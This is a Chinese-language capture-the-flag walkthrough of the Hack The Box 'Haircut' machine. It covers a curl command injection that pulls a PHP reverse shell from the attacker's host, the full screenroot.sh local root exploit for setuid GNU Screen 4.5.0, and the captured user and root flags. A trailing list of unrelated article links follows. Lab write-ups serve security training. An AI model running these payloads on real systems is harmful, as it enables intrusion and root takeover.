当前位置: 首页 > news >正文

[Meachines] [Medium] Haircut Curl命令注入+TRP00F自动化权限提升+Screen4.5.0权限提升

信息收集

IP AddressOpening Ports
10.10.10.24TCP:22,80

$ nmap -p- 10.10.10.24 --min-rate 1000 -sC -sV

ORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
|   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open  http    nginx 1.10.0 (Ubuntu)
|_http-title:  HTB Hairdresser 
|_http-server-header: nginx/1.10.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

目录爆破 & CURL 命令注入反向Web-Shell

$ gobuster dir --url http://10.10.10.24 --wordlist /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php -t 50

image.png

http://10.10.16.24/reverse.php -o uploads/rev.php

image-1.png

$ curl http://10.10.10.24/uploads/rev.php

image-2.png

User.txt

983f69a3c242dad8de31036c64b13fdf

权限提升

TRP00F 自动化权限提升

$ python3 trp00f.py --lhost 10.10.16.24 --lport 10011 --rhost 10.10.16.24 --rport 10033 --pkhttpport 9090 --lxhttpport 9900

image-3.png

Screen4.5.0 权限提升

image-4.png

image-5.png

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");
}
EOF
export PATH=/usr/bin:$PATH
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

$ curl http://10.10.16.24/scr.sh -o /tmp/scr.sh; chmod +x /tmp/scr.sh

$ ./scr.sh

image-6.png

Root.txt

3ffde1490b04962112ab36628d2c4436

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • C语言类型转换的问题
  • 数据结构----队列
  • RabbitMq消息队列(缓存加速)
  • 登录过程记录
  • 讲解 狼人杀中的买单双是什么意思
  • php 在app中唤起微信app进行支付,并处理回调通知
  • mysql误删数据恢复记录
  • 判断 I2C 总线通信异常原因的方法2
  • HarmonyOS WebView
  • 学习STM32(6)-- STM32单片机ADCDAC的应用
  • NFS文件共享
  • Unity WebGL平台Hybrid Generate All报错undefined symbol sendfile
  • 大语言模型与多模态大模型loss计算
  • Gin框架接入pyroscope完美替代pprof实现检测内存泄露
  • 离职保密协议是什么?怎么样才是合法的?如何维护公司权益?
  • 2019.2.20 c++ 知识梳理
  • android高仿小视频、应用锁、3种存储库、QQ小红点动画、仿支付宝图表等源码...
  • AWS实战 - 利用IAM对S3做访问控制
  • CEF与代理
  • CODING 缺陷管理功能正式开始公测
  • crontab执行失败的多种原因
  • eclipse的离线汉化
  • export和import的用法总结
  • Java 最常见的 200+ 面试题:面试必备
  • Java编程基础24——递归练习
  • 从tcpdump抓包看TCP/IP协议
  • 官方解决所有 npm 全局安装权限问题
  • 欢迎参加第二届中国游戏开发者大会
  • 记录一下第一次使用npm
  • 快速体验 Sentinel 集群限流功能,只需简单几步
  • 猫头鹰的深夜翻译:JDK9 NotNullOrElse方法
  • 浅析微信支付:申请退款、退款回调接口、查询退款
  • 云大使推广中的常见热门问题
  • ​3ds Max插件CG MAGIC图形板块为您提升线条效率!
  • #QT(TCP网络编程-服务端)
  • $NOIp2018$劝退记
  • (02)Unity使用在线AI大模型(调用Python)
  • (04)Hive的相关概念——order by 、sort by、distribute by 、cluster by
  • (HAL)STM32F103C6T8——软件模拟I2C驱动0.96寸OLED屏幕
  • (二)PySpark3:SparkSQL编程
  • (附源码)计算机毕业设计SSM教师教学质量评价系统
  • (附源码)流浪动物保护平台的设计与实现 毕业设计 161154
  • (十)【Jmeter】线程(Threads(Users))之jp@gc - Stepping Thread Group (deprecated)
  • (一)springboot2.7.6集成activit5.23.0之集成引擎
  • (已解决)Bootstrap精美弹出框模态框modal,实现js向modal传递数据
  • (转)c++ std::pair 与 std::make
  • (转)大型网站架构演变和知识体系
  • (转)视频码率,帧率和分辨率的联系与区别
  • (自用)gtest单元测试
  • ..回顾17,展望18
  • .net core Swagger 过滤部分Api
  • .NET Framework 3.5安装教程
  • .NET 材料检测系统崩溃分析
  • .NET_WebForm_layui控件使用及与webform联合使用
  • .Net+SQL Server企业应用性能优化笔记4——精确查找瓶颈